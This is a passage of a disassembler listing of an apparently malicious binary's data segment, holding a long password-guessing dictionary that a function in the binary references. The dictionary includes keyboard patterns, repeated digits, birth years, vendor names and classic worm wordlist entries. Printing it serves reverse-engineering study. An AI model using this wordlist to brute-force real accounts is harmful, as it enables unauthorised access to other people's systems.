'bbbbbbbbb',0 ; DATA XREF: seg001:0042E578o align 4 aBbbbbbbb db 'bbbbbbbb',0 ; DATA XREF: seg001:0042E574o align 4 aBbbbbbb db 'bbbbbbb',0 ; DATA XREF: seg001:0042E570o aBbbbbb db 'bbbbbb',0 ; DATA XREF: seg001:0042E56Co align 4 aBbbbb db 'bbbbb',0 ; DATA XREF: seg001:0042E568o align 10h aBbbb db 'bbbb',0 ; DATA XREF: seg001:0042E564o align 4 aBbb db 'bbb',0 ; DATA XREF: seg001:0042E560o aBb db 'bb',0 ; DATA XREF: seg001:0042E55Co align 10h aB_0: ; DATA XREF: seg001:0042E558o unicode 0, <b>,0 aRfv db 'rfv',0 ; DATA XREF: seg001:0042E554o aEdc db 'edc',0 ; DATA XREF: seg001:0042E550o aWsx db 'wsx',0 ; DATA XREF: seg001:0042E54Co aQaz db 'qaz',0 ; DATA XREF: seg001:0042E548o aAsdfghjkl db 'asdfghjkl',0 ; DATA XREF: seg001:0042E544o align 10h aAsdfghjk db 'asdfghjk',0 ; DATA XREF: seg001:0042E540o align 4 aAsdfghj db 'asdfghj',0 ; DATA XREF: seg001:0042E53Co aAsdfgh db 'asdfgh',0 ; DATA XREF: seg001:0042E538o align 4 aAsdfg db 'asdfg',0 ; DATA XREF: seg001:0042E534o align 4 aAs db 'as',0 ; DATA XREF: seg001:0042E528o align 4 aZxcvbnm db 'zxcvbnm',0 ; DATA XREF: seg001:0042E524o aZxcvbn db 'zxcvbn',0 ; DATA XREF: seg001:0042E520o align 4 aZxcvb db 'zxcvb',0 ; DATA XREF: seg001:0042E51Co align 10h aZxc db 'zxc',0 ; DATA XREF: seg001:0042E514o aZx db 'zx',0 ; DATA XREF: seg001:0042E510o align 4 aZ_1: ; DATA XREF: seg001:0042E50Co ; seg001:0042E778o unicode 0, <z>,0 aKonyang db 'konyang',0 ; DATA XREF: seg001:0042E508o aToyota_0 db 'TOYOTA',0 ; DATA XREF: seg001:0042E4D0o align 4 aKor db 'KOR',0 ; DATA XREF: seg001:0042E4CCo aKor_0 db 'kor',0 ; DATA XREF: seg001:0042E4C4o aChi db 'chi',0 ; DATA XREF: seg001:0042E4C0o aChi_0 db 'CHI',0 ; DATA XREF: seg001:0042E4BCo aSystem db 'system',0 ; DATA XREF: seg001:0042E4B4o ; seg001:0042E7F8o align 4 aServices db 'services',0 ; DATA XREF: seg001:0042E4B0o align 10h aServers db 'servers',0 ; DATA XREF: seg001:0042E4ACo aServer_0 db 'server',0 ; DATA XREF: seg001:0042E4A4o align 10h aQwertyuiop db 'qwertyuiop',0 ; DATA XREF: seg001:0042E49Co align 4 aQwertyuio db 'qwertyuio',0 ; DATA XREF: seg001:0042E498o align 4 aQwertyui db 'qwertyui',0 ; DATA XREF: seg001:0042E494o align 4 aQwertyu db 'qwertyu',0 ; DATA XREF: seg001:0042E490o aQwe db 'qwe',0 ; DATA XREF: seg001:0042E480o aQw db 'qw',0 ; DATA XREF: seg001:0042E47Co align 4 aPassword1 db 'password1',0 ; DATA XREF: seg001:0042E478o align 10h aPassword_0 db 'Password',0 ; DATA XREF: seg001:0042E474o align 4 aAaaaaaaaa db 'aaaaaaaaa',0 ; DATA XREF: seg001:0042E470o align 4 aAaaaaaaa db 'aaaaaaaa',0 ; DATA XREF: seg001:0042E46Co align 4 aAaaaaaa db 'aaaaaaa',0 ; DATA XREF: seg001:0042E468o aAaaaaa db 'aaaaaa',0 ; DATA XREF: seg001:0042E464o align 4 aAaaaa db 'aaaaa',0 ; DATA XREF: seg001:0042E460o align 4 aAaaa db 'aaaa',0 ; DATA XREF: seg001:0042E45Co align 4 aAa db 'aa',0 ; DATA XREF: seg001:0042E454o align 4 aNokia db 'NOKIA',0 ; DATA XREF: seg001:0042E448o align 10h aSex db 'SEX',0 ; DATA XREF: seg001:0042E444o aCreative db 'CREATIVE',0 ; DATA XREF: seg001:0042E440o align 10h aDisc_0 db 'DISC',0 ; DATA XREF: seg001:0042E43Co align 4 aMicrosoft db 'MICROSOFT',0 ; DATA XREF: seg001:0042E438o align 4 aMaster_0 db 'MASTER',0 ; DATA XREF: seg001:0042E434o align 4 aSony_0 db 'SONY',0 ; DATA XREF: seg001:0042E430o align 4 aSamsung db 'samsung',0 ; DATA XREF: seg001:0042E42Co aSamsung_0 db 'SAMSUNG',0 ; DATA XREF: seg001:0042E428o aSony db 'sony',0 ; DATA XREF: seg001:0042E424o align 4 a7654321 db '7654321',0 ; DATA XREF: seg001:0042E420o a4321 db '4321',0 ; DATA XREF: seg001:0042E414o align 4 a321 db '321',0 ; DATA XREF: seg001:0042E410o a2006 db '2006',0 ; DATA XREF: seg001:0042E408o align 4 a2005 db '2005',0 ; DATA XREF: seg001:0042E404o align 10h a2004 db '2004',0 ; DATA XREF: seg001:0042E400o align 4 a2001 db '2001',0 ; DATA XREF: seg001:0042E3F4o align 10h a2000 db '2000',0 ; DATA XREF: seg001:0042E3F0o align 4 a1999 db '1999',0 ; DATA XREF: seg001:0042E3ECo align 10h a1998 db '1998',0 ; DATA XREF: seg001:0042E3E8o align 4 a1997 db '1997',0 ; DATA XREF: seg001:0042E3E4o align 10h a1996 db '1996',0 ; DATA XREF: seg001:0042E3E0o align 4 a1995 db '1995',0 ; DATA XREF: seg001:0042E3DCo align 10h a1994 db '1994',0 ; DATA XREF: seg001:0042E3D8o align 4 a1993 db '1993',0 ; DATA XREF: seg001:0042E3D4o align 10h a1992 db '1992',0 ; DATA XREF: seg001:0042E3D0o align 4 a1991 db '1991',0 ; DATA XREF: seg001:0042E3CCo align 10h a1990 db '1990',0 ; DATA XREF: seg001:0042E3C8o align 4 a1989 db '1989',0 ; DATA XREF: seg001:0042E3C4o align 10h a1988 db '1988',0 ; DATA XREF: seg001:0042E3C0o align 4 a1987 db '1987',0 ; DATA XREF: seg001:0042E3BCo align 10h a1986 db '1986',0 ; DATA XREF: seg001:0042E3B8o align 4 a1985 db '1985',0 ; DATA XREF: seg001:0042E3B4o align 10h a1984 db '1984',0 ; DATA XREF: seg001:0042E3B0o align 4 a1983 db '1983',0 ; DATA XREF: seg001:0042E3ACo align 10h a1982 db '1982',0 ; DATA XREF: seg001:0042E3A8o align 4 a1981 db '1981',0 ; DATA XREF: seg001:0042E3A4o align 10h a1980 db '1980',0 ; DATA XREF: seg001:0042E3A0o align 4 a1979 db '1979',0 ; DATA XREF: seg001:0042E39Co align 10h a1978 db '1978',0 ; DATA XREF: seg001:0042E398o align 4 a1977 db '1977',0 ; DATA XREF: seg001:0042E394o align 10h a1976 db '1976',0 ; DATA XREF: seg001:0042E390o align 4 a1975 db '1975',0 ; DATA XREF: seg001:0042E38Co align 10h a1974 db '1974',0 ; DATA XREF: seg001:0042E388o align 4 a1973 db '1973',0 ; DATA XREF: seg001:0042E384o align 10h a1972 db '1972',0 ; DATA XREF: seg001:0042E380o align 4 a1971 db '1971',0 ; DATA XREF: seg001:0042E37Co align 10h a1970 db '1970',0 ; DATA XREF: seg001:0042E378o align 4 a1969 db '1969',0 ; DATA XREF: seg001:0042E374o align 10h a1968 db '1968',0 ; DATA XREF: seg001:0042E370o align 4 a1967 db '1967',0 ; DATA XREF: seg001:0042E36Co align 10h a1966 db '1966',0 ; DATA XREF: seg001:0042E368o align 4 a1965 db '1965',0 ; DATA XREF: seg001:0042E364o align 10h a1964 db '1964',0 ; DATA XREF: seg001:0042E360o align 4 a1963 db '1963',0 ; DATA XREF: seg001:0042E35Co align 10h a1962 db '1962',0 ; DATA XREF: seg001:0042E358o align 4 a1961 db '1961',0 ; DATA XREF: seg001:0042E354o align 10h a1960 db '1960',0 ; DATA XREF: seg001:0042E350o align 4 a1959 db '1959',0 ; DATA XREF: seg001:0042E34Co align 10h a1958 db '1958',0 ; DATA XREF: seg001:0042E348o align 4 a1957 db '1957',0 ; DATA XREF: seg001:0042E344o align 10h a1956 db '1956',0 ; DATA XREF: seg001:0042E340o align 4 a1955 db '1955',0 ; DATA XREF: seg001:0042E33Co align 10h a1954 db '1954',0 ; DATA XREF: seg001:0042E338o align 4 a1953 db '1953',0 ; DATA XREF: seg001:0042E334o align 10h a1952 db '1952',0 ; DATA XREF: seg001:0042E330o align 4 a1234qwe db '1234qwe',0 ; DATA XREF: seg001:0042E32Co a1234asd db '1234asd',0 ; DATA XREF: seg001:0042E328o a1234abc db '1234abc',0 ; DATA XREF: seg001:0042E324o a123qwer db '123qwer',0 ; DATA XREF: seg001:0042E310o a12qwe db '12qwe',0 ; DATA XREF: seg001:0042E30Co align 10h a12asd db '12asd',0 ; DATA XREF: seg001:0042E308o align 4 a12abc db '12abc',0 ; DATA XREF: seg001:0042E304o align 10h a12qwer db '12qwer',0 ; DATA XREF: seg001:0042E300o align 4 a1qwe db '1qwe',0 ; DATA XREF: seg001:0042E2FCo align 10h a1asd db '1asd',0 ; DATA XREF: seg001:0042E2F8o align 4 a1abc db '1abc',0 ; DATA XREF: seg001:0042E2F4o align 10h a1qwer db '1qwer',0 ; DATA XREF: seg001:0042E2F0o align 4 a123467890 db '123467890',0 ; DATA XREF: seg001:0042E2ECo align 4 a12346789 db '12346789',0 ; DATA XREF: seg001:0042E2E8o align 10h a1234678 db '1234678',0 ; DATA XREF: seg001:0042E2E4o a123467 db '123467',0 ; DATA XREF: seg001:0042E2E0o align 10h a12346 db '12346',0 ; DATA XREF: seg001:0042E2DCo align 4 a121 db '121',0 ; DATA XREF: seg001:0042E2B4o a1020 db '1020',0 ; DATA XREF: seg001:0042E2ACo align 4 a0258 db '0258',0 ; DATA XREF: seg001:0042E2A8o align 4 a8520 db '8520',0 ; DATA XREF: seg001:0042E2A4o align 4 a987 db '987',0 ; DATA XREF: seg001:0042E2A0o a789 db '789',0 ; DATA XREF: seg001:0042E29Co a654 db '654',0 ; DATA XREF: seg001:0042E298o a456 db '456',0 ; DATA XREF: seg001:0042E294o a1122 db '1122',0 ; DATA XREF: seg001:0042E290o align 4 a0147 db '0147',0 ; DATA XREF: seg001:0042E28Co align 4 a7410 db '7410',0 ; DATA XREF: seg001:0042E288o align 4 a9999999999 db '9999999999',0 ; DATA XREF: seg001:0042E280o align 4 a999999999 db '999999999',0 ; DATA XREF: seg001:0042E27Co align 4 a99999999 db '99999999',0 ; DATA XREF: seg001:0042E278o align 10h a9999999 db '9999999',0 ; DATA XREF: seg001:0042E274o a999999 db '999999',0 ; DATA XREF: seg001:0042E270o align 10h a99999 db '99999',0 ; DATA XREF: seg001:0042E26Co align 4 a9999 db '9999',0 ; DATA XREF: seg001:0042E268o align 10h a999 db '999',0 ; DATA XREF: seg001:0042E264o a99 db '99',0 ; DATA XREF: seg001:0042E260o align 4 a9: ; DATA XREF: seg001:0042E25Co unicode 0, <9>,0 a8888888888 db '8888888888',0 ; DATA XREF: seg001:0042E258o align 4 a888888888 db '888888888',0 ; DATA XREF: seg001:0042E254o align 4 a8888888 db '8888888',0 ; DATA XREF: seg001:0042E24Co a888888 db '888888',0 ; DATA XREF: seg001:0042E248o align 4 a88888 db '88888',0 ; DATA XREF: seg001:0042E244o align 4 a8888 db '8888',0 ; DATA XREF: seg001:0042E240o align 4 a888 db '888',0 ; DATA XREF: seg001:0042E23Co a88 db '88',0 ; DATA XREF: seg001:0042E238o align 4 a8: ; DATA XREF: seg001:0042E234o unicode 0, <8>,0 a7777777777 db '7777777777',0 ; DATA XREF: seg001:0042E230o align 4 a777777777 db '777777777',0 ; DATA XREF: seg001:0042E22Co align 4 a77777777 db '77777777',0 ; DATA XREF: seg001:0042E228o align 4 a7777777 db '7777777',0 ; DATA XREF: seg001:0042E224o a777777 db '777777',0 ; DATA XREF: seg001:0042E220o align 4 a77777 db '77777',0 ; DATA XREF: seg001:0042E21Co align 4 a7777 db '7777',0 ; DATA XREF: seg001:0042E218o align 4 a777 db '777',0 ; DATA XREF: seg001:0042E214o a77 db '77',0 ; DATA XREF: seg001:0042E210o align 4 a7: ; DATA XREF: seg001:0042E20Co unicode 0, <7>,0 a6666666666 db '6666666666',0 ; DATA XREF: seg001:0042E208o align 4 a666666666 db '666666666',0 ; DATA XREF: seg001:0042E204o align 4 a66666666 db '66666666',0 ; DATA XREF: seg001:0042E200o align 4 a6666666 db '6666666',0 ; DATA XREF: seg001:0042E1FCo a666666 db '666666',0 ; DATA XREF: seg001:0042E1F8o align 4 a66666 db '66666',0 ; DATA XREF: seg001:0042E1F4o align 4 a6666 db '6666',0 ; DATA XREF: seg001:0042E1F0o align 4 a666 db '666',0 ; DATA XREF: seg001:0042E1ECo a66 db '66',0 ; DATA XREF: seg001:0042E1E8o align 4 a6: ; DATA XREF: seg001:0042E1E4o unicode 0, <6>,0 a5555555555 db '5555555555',0 ; DATA XREF: seg001:0042E1E0o align 4 a555555555 db '555555555',0 ; DATA XREF: seg001:0042E1DCo align 4 a55555555 db '55555555',0 ; DATA XREF: seg001:0042E1D8o align 4 a5555555 db '5555555',0 ; DATA XREF: seg001:0042E1D4o a555555 db '555555',0 ; DATA XREF: seg001:0042E1D0o align 4 a55555 db '55555',0 ; DATA XREF: seg001:0042E1CCo align 4 a5555 db '5555',0 ; DATA XREF: seg001:0042E1C8o align 4 a555 db '555',0 ; DATA XREF: seg001:0042E1C4o a55 db '55',0 ; DATA XREF: seg001:0042E1C0o align 4 a5_0: ; DATA XREF: seg001:0042E1BCo unicode 0, <5>,0 a4444444444 db '4444444444',0 ; DATA XREF: seg001:0042E1B8o align 4 a444444444 db '444444444',0 ; DATA XREF: seg001:0042E1B4o align 4 a44444444 db '44444444',0 ; DATA XREF: seg001:0042E1B0o align 4 a4444444 db '4444444',0 ; DATA XREF: seg001:0042E1ACo a444444 db '444444',0 ; DATA XREF: seg001:0042E1A8o align 4 a44444 db '44444',0 ; DATA XREF: seg001:0042E1A4o align 4 a4444 db '4444',0 ; DATA XREF: seg001:0042E1A0o align 4 a444 db '444',0 ; DATA XREF: seg001:0042E19Co a44 db '44',0 ; DATA XREF: seg001:0042E198o align 4 a4_0: ; DATA XREF: seg001:0042E194o unicode 0, <4>,0 a3333333333 db '3333333333',0 ; DATA XREF: seg001:0042E190o align 4 a333333333 db '333333333',0 ; DATA XREF: seg001:0042E18Co align 4 a33333333 db '33333333',0 ; DATA XREF: seg001:0042E188o align 4 a3333333 db '3333333',0 ; DATA XREF: seg001:0042E184o a333333 db '333333',0 ; DATA XREF: seg001:0042E180o align 4 a33333 db '33333',0 ; DATA XREF: seg001:0042E17Co align 4 a3333 db '3333',0 ; DATA XREF: seg001:0042E178o align 4 a333 db '333',0 ; DATA XREF: seg001:0042E174o a33 db '33',0 ; DATA XREF: seg001:0042E170o align 4 a3: ; DATA XREF: seg001:0042E16Co unicode 0, <3>,0 a2222222222 db '2222222222',0 ; DATA XREF: seg001:0042E168o align 4 a222222222 db '222222222',0 ; DATA XREF: seg001:0042E164o align 4 a22222222 db '22222222',0 ; DATA XREF: seg001:0042E160o align 4 a2222222 db '2222222',0 ; DATA XREF: seg001:0042E15Co a222222 db '222222',0 ; DATA XREF: seg001:0042E158o align 4 a22222 db '22222',0 ; DATA XREF: seg001:0042E154o align 4 a2222 db '2222',0 ; DATA XREF: seg001:0042E150o align 4 a222 db '222',0 ; DATA XREF: seg001:0042E14Co a22 db '22',0 ; DATA XREF: seg001:0042E148o align 4 a2: ; DATA XREF: seg001:0042E144o unicode 0, <2>,0 a1111111111 db '1111111111',0 ; DATA XREF: seg001:0042E140o align 4 a111111111 db '111111111',0 ; DATA XREF: seg001:0042E13Co align 4 a1111111 db '1111111',0 ; DATA XREF: seg001:0042E134o a11111 db '11111',0 ; DATA XREF: seg001:0042E12Co align 4 a1111 db '1111',0 ; DATA XREF: seg001:0042E128o align 10h a11 db '11',0 ; DATA XREF: seg001:0042E120o align 4 a010 db '010',0 ; DATA XREF: seg001:0042E110o a009 db '009',0 ; DATA XREF: seg001:0042E10Co a008 db '008',0 ; DATA XREF: seg001:0042E108o a006 db '006',0 ; DATA XREF: seg001:0042E100o a005 db '005',0 ; DATA XREF: sub_40CD3A+207o ; seg001:0042E0FCo a004 db '004',0 ; DATA XREF: seg001:0042E0F8o a003 db '003',0 ; DATA XREF: seg001:0042E0F4o a002 db '002',0 ; DATA XREF: seg001:0042E0F0o a001 db '001',0 ; DATA XREF: sub_40CD3A+1F2o ; seg001:0042E0ECo asc_42F398 db '*********',0 ; DATA XREF: seg001:0042E0E8o align 4 asc_42F3A4 db '********',0 ; DATA XREF: seg001:0042E0E4o align 10h asc_42F3B0 db '*******',0 ; DATA XREF: seg001:0042E0E0o asc_42F3B8 db '******',0 ; DATA XREF: seg001:0042E0DCo align 10h asc_42F3C0 db '*****',0 ; DATA XREF: seg001:0042E0D8o align 4 asc_42F3C8 db '****',0 ; DATA XREF: seg001:0042E0D4o align 10h asc_42F3D0 db '***',0 ; DATA XREF: seg001:0042E0D0o asc_42F3D4 db '**',0 ; DATA XREF: seg001:0042E0CCo align 4 a0000000000 db '0000000000',0 ; DATA XREF: seg001:0042E0C4o align 4 a000000000 db '000000000',0 ; DATA XREF: seg001:0042E0C0o align 10h a@ db '@!',0 ; DATA XREF: seg001:0042E0A0o align 4 a@_0 db '#@!',0 ; DATA XREF: seg001:0042E09Co a@_1 db '$#@!',0 ; DATA XREF: seg001:0042E098o align 10h a@_2 db '%$#@!',0 ; DATA XREF: seg001:0042E094o align 4 a@_3 db '^%$#@!',0 ; DATA XREF: seg001:0042E090o align 10h a@_4 db '&^%$#@!',0 ; DATA XREF: seg001:0042E08Co a@_5 db '*&^%$#@!',0 ; DATA XREF: seg001:0042E088o align 4 asc_42F424 db '$$$',0 ; DATA XREF: seg001:0042E084o asc_42F428 db '$$',0 ; DATA XREF: seg001:0042E080o align 4 asc_42F42C: ; DATA XREF: seg001:0042E07Co unicode 0, <$>,0 a456_0 db '456+',0 ; DATA XREF: seg001:0042E078o align 4 a789_0 db '789+',0 ; DATA XREF: seg001:0042E074o align 10h a0 db '=-0',0 ; DATA XREF: seg001:0042E070o asc_42F444 db '--++',0 ; DATA XREF: seg001:0042E06Co align 4 asc_42F44C db '-+',0 ; DATA XREF: seg001:0042E068o align 10h asc_42F450 db '----',0 ; DATA XREF: seg001:0042E064o align 4 asc_42F458 db '--',0 ; DATA XREF: seg001:0042E05Co ; seg001:0042E060o align 4 asc_42F45C: ; DATA XREF: seg001:0042E058o unicode 0, <->,0 asc_42F460 db '++++',0 ; DATA XREF: seg001:0042E054o align 4 asc_42F468 db '+++',0 ; DATA XREF: seg001:0042E050o asc_42F46C db '++',0 ; DATA XREF: seg001:0042E04Co align 10h asc_42F470: ; DATA XREF: seg001:0042E048o unicode 0, <+>,0 a@@ db '@@',0 ; DATA XREF: seg001:0042E044o align 4 a@_6: ; DATA XREF: sub_40CD3A+22Co ; seg001:0042E040o unicode 0, <@>,0 off_42F47C dd offset loc_40211F+2 ; DATA XREF: seg001:0042E03Co dword_42F480 dd 2121h dword_42F484 dd 24234021h, 2A265E25h, 0dword_42F490 dd 24234021h, 265E25hdword_42F498 dd 24234021h, 5E25hdword_42F4A0 dd 24234021h, 25hdword_42F4A8 dd 234021h dword_42F4AC dd 4021h dword_42F4B0 dd 21h ; sub_40CD3A+5B04o ... dword_42F4B4 dd 25h aZimmerman db 'zimmerman',0 ; DATA XREF: seg001:0042E010o align 4 aZap db 'zap',0 ; DATA XREF: seg001:0042E00Co aYellowstone db 'yellowstone',0 ; DATA XREF: seg001:0042E008o aXyz db 'xyz',0 ; DATA XREF: seg001:0042E004o ; seg001:0042E4FCo aWisconsin db 'wisconsin',0 ; DATA XREF: seg001:0042E000o align 4 aWilliamsburg db 'williamsburg',0 ; DATA XREF: seg001:0042DFFCo align 4 aWholesale db 'wholesale',0 ; DATA XREF: seg001:0042DFF8o align 10h aTty db 'tty',0 ; DATA XREF: seg001:0042DFF4o aTopography db 'topography',0 ; DATA XREF: seg001:0042DFF0o align 10h aTemptation db 'temptation',0 ; DATA XREF: seg001:0042DFECo align 4 aTelephone db 'telephone',0 ; DATA XREF: seg001:0042DFE8o align 4 aTangerine db 'tangerine',0 ; DATA XREF: seg001:0042DFE4o align 4 aSys db 'sys',0 ; DATA XREF: seg001:0042DFE0o aSupported db 'supported',0 ; DATA XREF: seg001:0042DFDCo align 4 aSuperuser db 'superuser',0 ; DATA XREF: seg001:0042DFD8o align 10h aSuperstage db 'superstage',0 ; DATA XREF: seg001:0042DFD4o align 4 aSun db 'sun',0 ; DATA XREF: seg001:0042DFD0o aStuttgart db 'stuttgart',0 ; DATA XREF: seg001:0042DFCCo align 4 aStratford db 'stratford',0 ; DATA XREF: seg001:0042DFC8o align 4 aStephanie db 'stephanie',0 ; DATA XREF: seg001:0042DFC4o align 4 aSignature db 'signature',0 ; DATA XREF: seg001:0042DFC0o align 10h aSheffield db 'sheffield',0 ; DATA XREF: seg001:0042DFBCo align 4 aSal db 'sal',0 ; DATA XREF: seg001:0042DFB8o aRochester db 'rochester',0 ; DATA XREF: seg001:0042DFB4o align 4 aRje db 'rje',0 ; DATA XREF: seg001:0042DFB0o aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: seg001:0042DFACo align 10h aPub db 'pub',0 ; DATA XREF: seg001:0042DFA8o aProfessor db 'professor',0 ; DATA XREF: seg001:0042DFA4o align 10h aPrinceton db 'princeton',0 ; DATA XREF: seg001:0042DFA0o align 4 aPondering db 'pondering',0 ; DATA XREF: seg001:0042DF9Co align 4 aPolynomial db 'polynomial',0 ; DATA XREF: seg001:0042DF98o align 4 aPersimmon db 'persimmon',0 ; DATA XREF: seg001:0042DF94o align 10h aPercolate db 'percolate',0 ; DATA XREF: seg001:0042DF90o align 4 aPam db 'pam',0 ; DATA XREF: seg001:0042DF8Co aPad db 'pad',0 ; DATA XREF: seg001:0042DF88o aOceanography db 'oceanography',0 ; DATA XREF: seg001:0042DF84o align 4 aNutrition db 'nutrition',0 ; DATA XREF: seg001:0042DF80o align 10h aNew db 'new',0 ; DATA XREF: seg001:0042DF7Co aNet db 'net',0 ; DATA XREF: seg001:0042DF78o aMit db 'mit',0 ; DATA XREF: seg001:0042DF74o aMgr db 'mgr',0 ; DATA XREF: seg001:0042DF70o aMacintosh db 'macintosh',0 ; DATA XREF: seg001:0042DF6Co align 4 aLiz db 'liz',0 ; DATA XREF: seg001:0042DF68o aLee db 'lee',0 ; DATA XREF: seg001:0042DF64o aLamination db 'lamination',0 ; DATA XREF: seg001:0042DF60o align 10h aKim db 'kim',0 ; DATA XREF: seg001:0042DF5Co aJoy db 'joy',0 ; DATA XREF: seg001:0042DF54o aJen db 'jen',0 ; DATA XREF: seg001:0042DF50o aInnocuous db 'innocuous',0 ; DATA XREF: seg001:0042DF4Co align 4 aImbroglio db 'imbroglio',0 ; DATA XREF: seg001:0042DF48o align 4 aIbm db 'ibm',0 ; DATA XREF: seg001:0042DF44o aHappening db 'happening',0 ; DATA XREF: seg001:0042DF40o align 4 aHal db 'hal',0 ; DATA XREF: seg001:0042DF3Co aGnu db 'gnu',0 ; DATA XREF: seg001:0042DF38o aFun db 'fun',0 ; DATA XREF: seg001:0042DF34o aForesight db 'foresight',0 ; DATA XREF: seg001:0042DF30o align 4 aFoolproof db 'foolproof',0 ; DATA XREF: seg001:0042DF2Co align 4 aExtension db 'extension',0 ; DATA XREF: seg001:0042DF28o align 4 aEstablish db 'establish',0 ; DATA XREF: seg001:0042DF24o align 10h aEnterprise db 'enterprise',0 ; DATA XREF: seg001:0042DF20o align 4 aElizabeth db 'elizabeth',0 ; DATA XREF: seg001:0042DF1Co align 4 aEiderdown db 'eiderdown',0 ; DATA XREF: seg001:0042DF18o align 4 aEdinburgh db 'edinburgh',0 ; DATA XREF: seg001:0042DF14o align 10h aDos db 'dos',0 ; DATA XREF: seg001:0042DF10o aDog db 'dog',0 ; DATA XREF: seg001:0042DF0Co aDiscovery db 'discovery',0 ; DATA XREF: seg001:0042DF08o align 4 aDesperate db 'desperate',0 ; DATA XREF: seg001:0042DF04o align 10h aDeb db 'deb',0 ; DATA XREF: seg001:0042DF00o aCornelius db 'cornelius',0 ; DATA XREF: seg001:0042DEFCo align 10h aCommrades db 'commrades',0 ; DATA XREF: seg001:0042DEF8o align 4 aChristine db 'christine',0 ; DATA XREF: seg001:0042DEF4o align 4 aChristina db 'christina',0 ; DATA XREF: seg001:0042DEF0o align 4 aChemistry db 'chemistry',0 ; DATA XREF: seg001:0042DEECo align 10h aCatherine db 'catherine',0 ; DATA XREF: seg001:0042DEE8o align 4 aCat db 'cat',0 ; DATA XREF: seg001:0042DEE4o aCampanile db 'campanile',0 ; DATA XREF: seg001:0042DEE0o align 4 aCad db 'cad',0 ; DATA XREF: seg001:0042DEDCo aBsd db 'bsd',0 ; DATA XREF: seg001:0042DED8o aBob db 'bob',0 ; DATA XREF: seg001:0042DED4o aBicameral db 'bicameral',0 ; DATA XREF: seg001:0042DED0o align 4 aBeethoven db 'beethoven',0 ; DATA XREF: seg001:0042DECCo align 10h aAtmosphere db 'atmosphere',0 ; DATA XREF: seg001:0042DEC8o align 4 aAsm db 'asm',0 ; DATA XREF: seg001:0042DEC4o aAsd db 'asd',0 ; DATA XREF: seg001:0042DEC0o ; seg001:0042E52Co aAnthropogenic db 'anthropogenic',0 ; DATA XREF: seg001:0042DEBCo align 4 aAnn db 'ann',0 ; DATA XREF: seg001:0042DEB8o aAndromache db 'andromache',0 ; DATA XREF: seg001:0042DEB4o align 4 aAmy db 'amy',0 ; DATA XREF: seg001:0042DEB0o aAmorphous db 'amorphous',0 ; DATA XREF: seg001:0042DEACo align 4 aAma db 'ama',0 ; DATA XREF: seg001:0042DEA8o aAlf db 'alf',0 ; DATA XREF: seg001:0042DEA4o aAlbatross db 'albatross',0 ; DATA XREF: seg001:0042DEA0o align 4 aAda db 'ada',0 ; DATA XREF: seg001:0042DE9Co aH4x0ring db 'h4x0ring',0 ; DATA XREF: seg001:0042DE98o align 4 aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: seg001:0042DE94o align 4 aH4x1ng db 'h4x1ng',0 ; DATA XREF: seg001:0042DE90o align 4 aHaxing db 'haxing',0 ; DATA XREF: seg001:0042DE8Co align 4 aHax db 'hax',0 ; DATA XREF: seg001:0042DE88o aWh0re db 'wh0re',0 ; DATA XREF: seg001:0042DE84o align 10h aHo db 'ho',0 ; DATA XREF: seg001:0042DE80o align 4 aWh0r3 db 'wh0r3',0 ; DATA XREF: seg001:0042DE7Co align 4 aWindoze95 db 'windoze95',0 ; DATA XREF: seg001:0042DE78o align 4 aWindoze98 db 'windoze98',0 ; DATA XREF: seg001:0042DE74o align 4 aWindozeme db 'windozeME',0 ; DATA XREF: seg001:0042DE70o align 10h aWindoze2k db 'windoze2k',0 ; DATA XREF: seg001:0042DE6Co align 4 aWindozexp db 'windozexp',0 ; DATA XREF: seg001:0042DE68o align 4 aWindows95 db 'windows95',0 ; DATA XREF: seg001:0042DE64o align 4 aWindows98 db 'windows98',0 ; DATA XREF: seg001:0042DE60o align 10h aWindowsme db 'windowsME',0 ; DATA XREF: seg001:0042DE5Co align 4 aWindows2k db 'windows2k',0 ; DATA XREF: seg001:0042DE58o align 4 aWindowsxp db 'WindowsXP',0 ; DATA XREF: seg001:0042DE54o align 4 aMs db 'MS',0 ; DATA XREF: seg001:0042DE50o align 4 aM_1 db 'M$',0 ; DATA XREF: seg001:0042DE4Co align 4 aBilly db 'billy',0 ; DATA XREF: seg001:0042DE48o align 4 aWindose db 'windose',0 ; DATA XREF: seg001:0042DE44o aWindoze db 'windoze',0 ; DATA XREF: seg001:0042DE40o aWindowz db 'windowz',0 ; DATA XREF: seg001:0042DE3Co aWileecoyote db 'wileecoyote',0 ; DATA XREF: seg001:0042DE38o aDonaldduck db 'donaldduck',0 ; DATA XREF: seg001:0042DE34o align 4 aAlexander db 'Alexander',0 ; DATA XREF: seg001:0042DE30o align 10h aAl3x db 'Al3x',0 ; DATA XREF: seg001:0042DE2Co align 4 aDud3 db 'dud3',0 ; DATA XREF: seg001:0042DE28o align 10h aDudette db 'dudette',0 ; DATA XREF: seg001:0042DE24o aD00d db 'd00d',0 ; DATA XREF: seg001:0042DE20o align 10h aLol db 'lol',0 ; DATA XREF: seg001:0042DE1Co aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: seg001:0042DE18o align 4 aRoscop db 'RoscoP',0 ; DATA XREF: seg001:0042DE14o align 4 aRosco db 'Rosco',0 ; DATA XREF: seg001:0042DE10o align 4 aRoss db 'Ross',0 ; DATA XREF: seg001:0042DE0Co align 4 aTestin db 'testin',0 ; DATA XREF: seg001:0042DE08o align 4 aTester db 'tester',0 ; DATA XREF: seg001:0042DE04o align 4 a00000000 db '00000000',0 ; DATA XREF: seg001:0042DE00o ; seg001:0042E0BCo align 4 aZulu db 'zulu',0 ; DATA XREF: seg001:0042DDFCo align 10h aZombie db 'zombie',0 ; DATA XREF: seg001:0042DDF8o align 4 aZmodem db 'zmodem',0 ; DATA XREF: seg001:0042DDF4o align 10h aZimmerma db 'zimmerma',0 ; DATA XREF: seg001:0042DDF0o align 4 aZiggy db 'ziggy',0 ; DATA XREF: seg001:0042DDECo align 4 aZeitgeis db 'zeitgeis',0 ; DATA XREF: seg001:0042DDE8o align 10h aZebra db 'zebra',0 ; DATA XREF: seg001:0042DDE4o align 4 aYoung db 'young',0 ; DATA XREF: seg001:0042DDE0o align 10h aYosemite db 'yosemite',0 ; DATA XREF: seg001:0042DDDCo align 4 aYolanda db 'yolanda',0 ; DATA XREF: seg001:0042DDD8o aYellowst db 'yellowst',0 ; DATA XREF: seg001:0042DDD4o align 10h aYellow db 'yellow',0 ; DATA XREF: seg001:0042DDD0o align 4 aYankee db 'yankee',0 ; DATA XREF: seg001:0042DDCCo align 10h aYang db 'yang',0 ; DATA XREF: seg001:0042DDC8o ; 